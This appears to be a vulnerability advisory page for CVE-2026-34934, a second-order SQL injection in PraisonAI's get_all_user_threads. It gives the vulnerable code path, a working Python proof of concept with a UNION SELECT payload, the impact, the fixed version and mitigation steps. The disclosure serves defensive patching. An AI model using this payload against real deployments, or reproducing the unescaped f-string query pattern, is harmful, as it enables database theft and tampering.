CVE-2026-34934 — praisonai
CRITICALCVE-2026-34934 is a critical-severity (CVSS 9.8) SQL Injection vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
PraisonAI: Second-Order SQL Injection in `get_all_user_threads`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34934.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
Details
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.90pip install --upgrade 'praisonai==4.5.90' |
Affected Products
praisonaipraisonDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.90 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34934 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
Frequently Asked Questions
Is CVE-2026-34934 in your dependencies?
Find it across PyPI, including transitive dependencies.